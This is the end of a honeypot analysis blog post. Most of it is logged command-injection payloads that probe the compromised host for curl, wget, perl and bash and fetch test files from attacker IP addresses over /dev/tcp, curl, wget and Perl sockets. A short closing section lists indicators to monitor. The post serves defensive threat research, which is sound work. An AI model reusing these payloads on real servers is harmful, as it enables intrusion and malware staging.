[Sun Nov 28 19:06:13.974648 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v php 2> /dev/null)" -a ! "$(command -v php-cgi 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:11:51.013324 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v php 2> /dev/null)" -a ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:12:34.739533 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:14:05.110790 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:56:57.657280 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 20:00:34.841791 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; get() { read proto server path <<<$(echo ${1//// }); DOC=/${path// //};  HOST=${server//:*};  PORT=${server//*:};  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80;  exec 3<>/dev/tcp/${HOST}/${PORT};  printf %b "GET ${DOC} HTTP/1.0\\r\\nhost: ${HOST}\\r\\nConnection: close\\r\\n\\r\\n" >&3;  (while read line; do [[ "$line" == $'\\r' ]] && break;  done && cat) <&3;  exec 3>&-;  };  if [ ! "$(get http://94.130.181.216/test.txt 2> /dev/null)" -eq "11223344" 2> /dev/null ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 20:06:17.028826 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v timeout 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 20:08:15.277127 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; echo vulnable; get() { read proto server path <<<$(echo ${1//// }); DOC=/${path// //};  HOST=${server//:*};  PORT=${server//*:};  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80;  exec 3<>/dev/tcp/${HOST}/${PORT};  printf %b "GET ${DOC} HTTP/1.0\\r\\nhost: ${HOST}\\r\\nConnection: close\\r\\n\\r\\n" >&3;  (while read line; do [[ "$line" == $'\\r' ]] && break;  done && cat) <&3;  exec 3>&-;  };  if [ ! "$(timeout 5 get http://94.130.181.216/test.txt 2> /dev/null)" -eq "11223344" 2> /dev/null -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi
[Sun Nov 28 20:24:13.153432 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; echo vulnable; get() { read proto server path <<<$(echo ${1//// }); DOC=/${path// //};  HOST=${server//:*};  PORT=${server//*:};  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80;  exec 3<>/dev/tcp/${HOST}/${PORT};  printf %b "GET ${DOC} HTTP/1.0\\r\\nhost: ${HOST}\\r\\nConnection: close\\r\\n\\r\\n" >&3;  (while read line; do [[ "$line" == $'\\r' ]] && break;  done && cat) <&3;  exec 3>&-;  };  if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi
[Sun Nov 28 20:25:06.378246 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; echo vulnable; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi
[Sun Nov 28 20:26:26.246581 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; echo vulnable; get() { read proto server path <<<$(echo ${1//// }); DOC=/${path// //};  HOST=${server//:*};  PORT=${server//*:};  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80;  exec 3<>/dev/tcp/${HOST}/${PORT};  printf %b "GET ${DOC} HTTP/1.0\\r\\nhost: ${HOST}\\r\\nConnection: close\\r\\n\\r\\n" >&3;  (while read line; do [[ "$line" == $'\\r' ]] && break;  done && cat) <&3;  exec 3>&-; }; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi
[Sun Nov 28 20:36:50.047761 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 20:39:29.171795 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v perl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 23:37:29.866905 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;a=$(echo "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr=>'94.130.181.216',PeerPort =>'80',Proto => 'tcp');die \\"Could not create socket: \\$!\\\\n\\" unless \\$sock;print \\$sock \\"GET /test.txt HTTP/1.0\\\\r\\\\n\\\\r\\\\n\\";my \\$a=0;while( \\$line = <\\$sock>) { print \\$line if(\\$a > 0); \\$a = 1 if(\\$line eq \\"\\\\r\\\\n\\");} close(\\$sock);" | timeout 5 perl);if [ ! "$a" -eq "11223344" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:01:19.183357 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;a='00000000';if [ "$(command -v curl 2> /dev/null)" ]; then echo 'curl';a=$(timeout 5 curl -s http://94.130.181.216/test.txt 2> /dev/null); else if [ "$(command -v wget 2> /dev/null)" ]; then echo 'wget';a=$(timeout 5 wget http://94.130.181.216/test.txt -qO- 2> /dev/null); else if [ "$(command -v perl 2> /dev/null)" ]; then echo 'perl';a=$(echo "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr=>'94.130.181.216',PeerPort =>'80',Proto => 'tcp');die \\"Could not create socket: \\$!\\\\n\\" unless \\$sock;print \\$sock \\"GET /test.txt HTTP/1.0\\\\r\\\\n\\\\r\\\\n\\";my \\$a=0;while( \\$line = <\\$sock>) { print \\$line if(\\$a > 0); \\$a = 1 if(\\$line eq \\"\\\\r\\\\n\\");} close(\\$sock);" | timeout 5 perl); else echo 'No cmd'; fi; fi; fi; if [ ! "$a" -eq "11223344" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:03:13.009116 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v perl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:33:58.483898 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ping 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:35:08.854471 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ping 2> /dev/null)" -a ! "$(command -v ssh 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:36:01.589083 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ping 2> /dev/null)" -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 14:27:06.966555 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v printf 2> /dev/null)" -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 23:57:31.374578 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;a='00000000';if [ "$(command -v curl 2> /dev/null)" ]; then echo 'curl';a=$(timeout 5 curl -s http://49.12.205.171/test.txt 2> /dev/null); else if [ "$(command -v wget 2> /dev/null)" ]; then echo 'wget';a=$(timeout 5 wget http://49.12.205.171/test.txt -qO- 2> /dev/null); else if [ "$(command -v perl 2> /dev/null)" ]; then echo 'perl';a=$(echo "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr=>'49.12.205.171',PeerPort =>'80',Proto => 'tcp');die \\"Could not create socket: \\$!\\\\n\\" unless \\$sock;print \\$sock \\"GET /test.txt HTTP/1.0\\\\r\\\\n\\\\r\\\\n\\";my \\$a=0;while( \\$line = <\\$sock>) { print \\$line if(\\$a > 0); \\$a = 1 if(\\$line eq \\"\\\\r\\\\n\\");} close(\\$sock);" | timeout 5 perl); else echo 'No cmd'; fi; fi; fi; if [ ! "$a" -eq "11223344" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 12:59:49.905673 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:00:39.022332 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ps 2> /dev/null)" -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:02:54.018345 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:03:57.133784 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:04:28.236658 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v perl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:05:51.286147 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:32:15.602743 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; uname -m;echo vulnable
[Tue Nov 30 14:35:40.549398 2021]  A=|echo;echo vulnable
[Tue Nov 30 14:56:27.461472 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; uname -m;echo vulnable
[Tue Nov 30 15:54:28.092976 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;  psfunc() { if [ "$(command -v ps 2> /dev/null)" ]; then ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null;  else if [ "$(command -v pgrep 2> /dev/null)" ]; then pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null;  else if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done;  else printf %b "0\\n";  fi;  fi;  fi;  };  netfunc() { cmd=""; ret=1;  if [ "$(command -v timeout 2> /dev/null)" ]; then cmd="timeout $3";  fi;  if [ "$(command -v curl 2> /dev/null)" ]; then cmd="$cmd curl --connect-timeout $3 -s $1:$2";  if [ ! -z $4 ]; then cmd="$cmd --interface $4";  fi;  ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v wget 2> /dev/null)" ]; then cmd="$cmd wget --connect-timeout=$3 -qO- $1:$2";  if [ ! -z $4 ]; then cmd="$cmd --bind-address=$4";  fi;  ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v perl 2> /dev/null)" ]; then bind=""; cmd="$cmd perl";  if [ ! -z $4 ]; then bind=", LocalAddr=> '$4'";  fi;  ret=$(printf %s "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr => '$1', PeerPort => '$2', Proto => 'tcp' $bind);die \\"Err\\\\n\\" unless \\$sock;close(\\$sock);" | $cmd > /dev/null 2>&1; echo $?); fi;  fi;  fi;  if [ "$ret" -eq "0" 2> /dev/null ]; then printf %b "$cmd\\n";  fi;  };  if [ ! "$(psfunc '.src.sh' 2> /dev/null)" ]; then echo 'Ready';  else echo 'Already install Running';  fi; echo vulnable
[Tue Nov 30 15:54:56.728753 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;  psfunc() { if [ "$(command -v ps 2> /dev/null)" ]; then ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null;  else if [ "$(command -v pgrep 2> /dev/null)" ]; then pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null;  else if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done;  else printf %b "0\\n";  fi;  fi;  fi;  };  netfunc() { cmd=""; ret=1;  if [ "$(command -v timeout 2> /dev/null)" ]; then cmd="timeout $3";  fi;  if [ "$(command -v curl 2> /dev/null)" ]; then cmd="$cmd curl --connect-timeout $3 -s $1:$2";  if [ ! -z $4 ]; then cmd="$cmd --interface $4";  fi;  ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v wget 2> /dev/null)" ]; then cmd="$cmd wget --connect-timeout=$3 -qO- $1:$2";  if [ ! -z $4 ]; then cmd="$cmd --bind-address=$4";  fi;  ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v perl 2> /dev/null)" ]; then bind=""; cmd="$cmd perl";  if [ ! -z $4 ]; then bind=", LocalAddr=> '$4'";  fi;  ret=$(printf %s "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr => '$1', PeerPort => '$2', Proto => 'tcp' $bind);die \\"Err\\\\n\\" unless \\$sock;close(\\$sock);" | $cmd > /dev/null 2>&1; echo $?); fi;  fi;  fi;  if [ "$ret" -eq "0" 2> /dev/null ]; then printf %b "$cmd\\n";  fi;  };  if [ ! "$(psfunc '.src.sh' 2> /dev/null)" ]; then echo 'Ready';  else echo 'Already install Running';  fi; uname -m;echo vulnable
[Wed Dec 01 13:43:26.701088 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;  psfunc() { if [ "$(command -v ps 2> /dev/null)" ]; then ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null;  else if [ "$(command -v pgrep 2> /dev/null)" ]; then pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null;  else if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done;  else printf %b "0\\n";  fi;  fi;  fi;  };  netfunc() { cmd=""; ret=1;  if [ "$(command -v timeout 2> /dev/null)" ]; then cmd="timeout $3";  fi;  if [ "$(command -v curl 2> /dev/null)" ]; then cmd="$cmd curl --connect-timeout $3 -s $1:$2";  if [ ! -z $4 ]; then cmd="$cmd --interface $4";  fi;  ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v wget 2> /dev/null)" ]; then cmd="$cmd wget --connect-timeout=$3 -qO- $1:$2";  if [ ! -z $4 ]; then cmd="$cmd --bind-address=$4";  fi;  ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v perl 2> /dev/null)" ]; then bind=""; cmd="$cmd perl";  if [ ! -z $4 ]; then bind=", LocalAddr=> '$4'";  fi;  ret=$(printf %s "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr => '$1', PeerPort => '$2', Proto => 'tcp' $bind);die \\"Err\\\\n\\" unless \\$sock;close(\\$sock);" | $cmd > /dev/null 2>&1; echo $?); fi;  fi;  fi;  if [ "$ret" -eq "0" 2> /dev/null ]; then printf %b "$cmd\\n";  fi;  };  if [ ! "$(psfunc '.src.sh' 2> /dev/null)" ]; then echo 'Ready';  else echo 'Already install Running';  fi; uname -m;echo vulnable

Some of this code is recognizably repurposed from the encoded scripts from Nov 14. There are references to hxxp://94.130.181.216/test.txt and hxxp://49.12.205.171/test.txt, both of which currently return “11223344”. Both of these IPs are also owned by Hetzner, where all of the rest of the URLs we’ve seen have been hosted.

Wrapping Up

That was quite the twisty maze of shell code, but at the end of the analysis we have a good idea of how the suspicious processes were launched and the contents of “.src.sh”. And we have multiple still active URL paths worth monitoring for, including hxxp://rr.blueheaven.live/1010/ and hxxp://116.203.212.184/1010/. Also keep an eye out for the “.log/1010*/.spoollog” path showing up in temp directories and as the process CWD for new processes on your systems.

1 thought on “Hudak’s Honeypot (Part 3)”

Comments are closed.